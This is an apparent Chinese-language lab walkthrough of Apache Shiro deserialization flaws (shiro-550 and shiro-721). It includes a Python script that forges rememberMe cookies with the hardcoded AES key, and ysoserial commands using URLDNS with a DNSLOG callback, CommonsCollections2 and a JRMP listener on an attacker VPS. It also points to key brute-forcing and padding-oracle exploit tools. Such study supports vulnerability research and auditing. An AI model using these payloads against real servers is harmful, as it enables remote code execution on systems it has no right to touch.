shiro反序列化(shiro-550与shiro-721)

目录



shiro

Apache shiro 是java的一个安全框架,可以帮助完成认证,授权,加密,会话管理等功能。它不跟任何框架或容器绑定,可以独立运行。

怎么判断是否是shiro网站

发送cookie带有rememberMe=0的包,若返回包的头部有rememberMe,则为shiro站点

shiro-550

简介

当shiro版本小于1.2.5时,主要是由shiro的rememberMe内容反序列化导致的命令执行漏洞,造成的原因是AES密钥被硬编码在shiro源码中,这就导致了可以通过在cookie的rememberMe字段插入payload实现任意代码执行

前期准备

git clone https://github.com/apache/shiro.git 下载shiro

然后 git checkout shiro-root-1.2.4,切换到1.2.4版本进行对应版本的漏洞调试

编辑shiro/samples/web/pom.xml文件,在此处加入 1.2

image-20210309141612431

然后idea打开shiro/samples/web 下的pom.xml,然后Run -> Edit Configurations 添加TomcatServer

image-20210309142858354

待idea加载完maven后,向tomcat部署工件

image-20210309143500761

然后启动即可

开始动调

序列化,加密

在org.apache.shiro.mgt.AbstractRememberMeManager#onSuccessfulLogin 处下断点

image-20210309144449196

然后进入shiro登陆页面,勾选rememberme,进行登录,断点命中

image-20210309144539506

然后会校验token里面的rememberme是否为true,若为true则执行rememberIdentity函数

我们跟进rememberIdentity函数

image-20210309145259149

发现principals变量获取了需要remember的用户名(此处为root),然后再调用重载函数rememberIdentity。 这个函数调用了convertPrincipalsToBytes,我们跟进看看这个函数

image-20210309145901675

可以发现对传入的principals调用了serialize方法,继续跟进serialize方法

image-20210309150019544

继续跟进serialize会来到这个地方

image-20210309150133277

发现就是对其调用了writeObject()这个原生反序列方法而已,没什么好康的,转回头去看看convertPrincipalsToBytes那个加密函数encrypt

image-20210309152804516

发现通过getCipherService方法返回了一个东西,发现是加密方式等东西

image-20210309153312468

在此处156行会调用另一个encrypt方法,其中第一个参数是序列化后的用户名,第二个参数则是密钥(这个密钥是硬编码写入文件的,所以造成了安全问题)我们跟进

image-20210309154512813

这里的ivBytes是一个随机生成的iv(我没跟进细看),然后在这个方法最后它调用了encrypt的重载函数,并传入了序列化后的用户名,key,iv,以及一个true。我们继续跟进

image-20210309155203309

可以发现通过arraycopy,把iv和加密后的密文数据(aes)放入了output,最后返回了output. 然后这个return会一直返回到此处

image-20210309155606194

output的内容作为参数传入了rememberSerializedIdentity,跟进该函数

image-20210309155736406

56行,把base64加密后的output作为值写入到cookie中的remembername键

image-20210309162524164

57行将其返回给客户端

burp抓包发现事实确实如此

image-20210309162406182

另外说一下那个硬编码key,那个硬编码的key在AbstractRememberMeManager.class DEFAULT_CIPHER_KEY_BYTES里

image-20210309163021784

可以发现通过getEncryptionCipherKey获得的key确实是DEFAULT_CIPHER_KEY_BYTES

image-20210309164110278

我们简要的梳理一下这个流程, 当我们勾选rememberme后,用户名会被序列化处理,然后与硬编码的key,随机生成的iv一起进行加密,然后以 iv+密文 的base64编码返回给用户的键为rememberme的cookie里。

反序列化,解密

在我们勾选rememberme登陆后,刷新,抓包,将其JSESSIONID删除,使shiro验证cookie中rememberme的值是否正确(如果不删除JSESSIONID,shiro则直接以JSESSIONID为登陆凭证了,就不会验证rememberme中的值了)

image-20210309213036364

在org.apache.shiro.mgt.DefaultSecurityManager#getRememberedIdentity 打下断点,放包,断点命中。

image-20210309213222271

跟进getRememberedPrincipals方法

image-20210309213255317

随后再跟进getRememberedSerializedIdentity

image-20210309213345511

关注这里的86行,此处的意思是从cookie中获得base64编码后的cookie值,随后在90行对其进行填充(CBC加密中的一个流程),95行进行base64解码,并将其返回

image-20210309214329614

随后我们回到getRememberedPrincipals方法,跟进其convertBytesToPrincipals方法

image-20210309214559031

发现其中有个decrypt方法,这里的decrypt方法就是对其行aes解密,取前十六位为IV。

image-20210309214846036

下面140行则是对其进行反序列化处理了。我们跟进一下

image-20210309214941029

再次跟进deserialize方法

image-20210309215227753

看到readObject,就意味着反序列化流程结束了。

梳理一下,cookie中remenber值传入后先base64解码,然后aes解密,然后反序列化。

解密,重写cookie,以写入payload

既然key是固定的,我们知道了key是什么,同时在CBC解密的时候,IV的作用只是作为第一个区块去解密第二个区块(生成的结果去解密第三个区块,以此类推),所以IV可以为随机值没什么特别要求(只要能解密就行了)那么我们就可以自己伪造一个cookie。

python脚本如下(嫖的笑师傅的),序列化payload用base64格式传入

##pip install pycrypto
import sys
import base64
import uuid
from random import Random
import subprocess
from Crypto.Cipher import AES

key  =  "kPH+bIxk5D2deZiIxcaaaA=="
mode =  AES.MODE_CBC
IV   = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, IV)

payload=base64.b64decode(sys.argv[1])
BS   = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
payload=pad(payload)

print(base64.b64encode(IV + encryptor.encrypt(payload)))

然后我们只需要传入base64编码的,去除换行符的payload即可。

像这样

java -jar ./ysoserial-master-SNAPSHOT.jar URLDNS "http://cao.7squwf.dnslog.cn" |base64|sed ':label;N;s/\n//;b label'

密钥获取

有些时候key并不是一成不变的kPH+bIxk5D2deZiIxcaaaA==,而有可能是其他值,我们可以用工具https://github.com/insightglacier/Shiro_exploit 来爆破出密钥

python .\shiro_exploit.py -u http://127.0.0.1:8080 

即可开始爆破,当然这个工具的作用不仅仅如此

image-20210310132845771

利用

URLDNS

这个链其实根本没啥危害..只是拿来测试一下有没有洞

java -jar ./ysoserial-master-SNAPSHOT.jar URLDNS "http://cao.7squwf.dnslog.cn" |base64|sed ':label;N;s/\n//;b label'

生成payload,像cookie伪造脚本传入,获得伪造的cookie

image-20210310115008147

rememberme登陆后,刷新抓包,删除cookie中的session,替换cookie中的rememberme为伪造后的cookie。放包,DNSLOG有反应

image-20210310115425170

cc链2

java -jar ./ysoserial-master-SNAPSHOT.jar CommonsCollections2 "calc"|base64 |sed ':label;N;s/\n//;b label'

然后制作cookie,发过去,成功弹计算器

JRMP

通过运行mvn dependency:list 命令可以发现当前Commons Collections 的版本是3.2.1

按理说会有cc链5,但是实际上用ysoserial 生成payload用上面的方法打过去后没有反应。看别人博客发现是这个原因 “Shiro resovleClass使用的是ClassLoader.loadClass()而非Class.forName(),而ClassLoader.loadClass不支持装载数组类型的class。” 解决这种问题的办法是用JRMP

vps上执行以下命令,监听端口

java -cp ysoserial-master-SNAPSHOT.jar ysoserial.exploit.JRMPListener 12006 CommonsCollections5 'calc'

我们再通过ysoserial生成payload

java -jar ysoserial-master-SNAPSHOT.jar JRMPClient 'vps_ip:12006'|base64|sed ':label;N;s/\n//;b label'

然后伪造cookie,发过去,成功弹计算器

image-20210310194746492

小总结

这个洞因为cookie中的值使用硬编码的key加密而成,我们可以以此来伪造cookie,顺便在cookie里写入危险的paylaod如cc链payload,使cookie中的值被解密,随后经历反序列化,造成命令执行

参考:https://l3yx.github.io/2020/03/21/Shiro-1-2-4-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E 笑师傅大大

审计关键字

可以直接通过搜索关键字setCipherKey或CookieRememberMeManager,来看看密钥是否硬编码在了代码中

shiro-721

去年学的Padding Oracle 在此处被利用了起来。可以先看看Padding Oracle Attack 大概是个啥

影响版本:

1.2.5, 
1.2.6, 
1.3.0, 
1.3.1, 
1.3.2, 
1.4.0-RC2, 
1.4.0, 
1.4.1

简介

其实漏洞代码层面逻辑上和shiro-550大致相似,只不过key没有硬编码进代码中了。shiro的cookie使用aes-128-cbc加密 只要我们获得一个rememberme用户的cookie后就可以通过padding oracle attack 伪造任意cookie发过去了,从而造成反序列化漏洞了

环境搭建

在这里下载1.4.1的war包https://github.com/jas502n/SHIRO-721/blob/master/samples-web-1.4.1.war,并放入tomcat webapps文件夹,随后启动tomcat,访问http://127.0.0.1:8080/samples-web-1.4.1/

image-20210310220716846

利用

大致逻辑与shiro-550差不多,直接说利用吧。

https://github.com/inspiringz/Shiro-721 使用这个工具

首先我们得勾选rememberme,抓包获得rememberme cookie

image-20210310221230268

然后通过ysoserial生成payload,将其通过管道符传入某个文件,随后用刚刚那个工具里的shiro_exp.py

python ./shiro_exp.py <url> <cookie> <paylaod文件>

随后会进行爆破,最后获得结果cookie后,传入并发包过去即可(爆破时间很长)

image-20210310224415067